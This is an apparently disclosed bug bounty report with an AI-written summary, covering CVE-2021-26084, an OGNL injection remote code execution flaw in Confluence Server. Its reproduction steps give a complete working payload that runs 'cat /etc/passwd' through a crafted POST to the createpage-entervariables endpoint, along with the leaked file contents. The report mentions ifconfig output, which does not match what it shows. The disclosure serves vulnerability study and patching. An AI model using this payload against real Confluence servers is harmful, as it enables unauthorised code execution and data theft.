RCE on ███████ [CVE-2021-26084]
Confluence Server and Data Center contained an OGNL injection flaw in certain endpoints that let an authenticated user, or an unauthenticated user when self-signup was enabled, run arbitrary code on the server. The reporter demonstrated command execution by injecting an expression that ran a shell command and returned its output.
- Triaged in 8 hours
- Fixed in 7 days
- Disclosed after 2.3 years
In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if ‘Allow people to sign up to create their account’ is enabled. To check whether this is enabled go to COG > User Management > User Signup Options. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0
Impact
- An unauthenticated, 3rd-party attacker or adversary can execute remote code
System Host(s)
█████
Affected Product(s) and Version(s)
CVE-2021-26084
CVE Numbers
Steps to Reproduce
POST (command cat /etc/passwd)
POST /pages/createpage-entervariables.action?SpaceKey=x HTTP/1.1
Host: ███
Content-Type: application/x-www-form-urlencoded
Content-Length: 915
queryString=aaaaaaaa\u0027%2b{Class.forName(\u0027javax.script.ScriptEngineManager\u0027).newInstance().getEngineByName(\u0027JavaScript\u0027).\u0065val(\u0027var+isWin+%3d+java.lang.System.getProperty(\u0022os.name\u0022).toLowerCase().contains(\u0022win\u0022)%3b+var+cmd+%3d+new+java.lang.String(\u0022cat /etc/passwd\u0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(\u0022cmd.exe\u0022,+\u0022/c\u0022,+cmd)%3b+}+else{p.command(\u0022bash\u0022,+\u0022-c\u0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+\u0022\u0022%3b+var+output+%3d+\u0022\u0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}\u0027)}%2b\u0027
You will see the output of the ifconfig command
OUTPUT
type="hidden"
name="queryString" value="aaaaaaaa[root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash
]" />
<input
Suggested Mitigation/Remediation Actions
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely user input passed into an OGNL expression that was evaluated by the server, allowing Java code to be invoked.
Impact
An unauthenticated third-party attacker could execute remote code on the Confluence instance when self-signup was enabled; otherwise an authenticated user could do so.
What the attacker needed
Self-signup enabled for unauthenticated case; otherwise a valid account
The fix
Affected versions are before 6.13.23, 6.14.0 to before 7.4.11, 7.5.0 to before 7.11.6, and from 7.12.0.
How it was found
- Send a POST request to the createpage-entervariables endpoint with a crafted queryString parameter containing an OGNL expression.
- The expression uses the JavaScript script engine to run a shell command and read its output.
- Observe the command output reflected in the response.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Confluence is a team wiki product. A part of it built a page from user-supplied text using a template language (OGNL) that can call Java code, so a crafted request made the server run a command chosen by the attacker. The reporter showed the server returning the contents of a system file, proving code execution.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.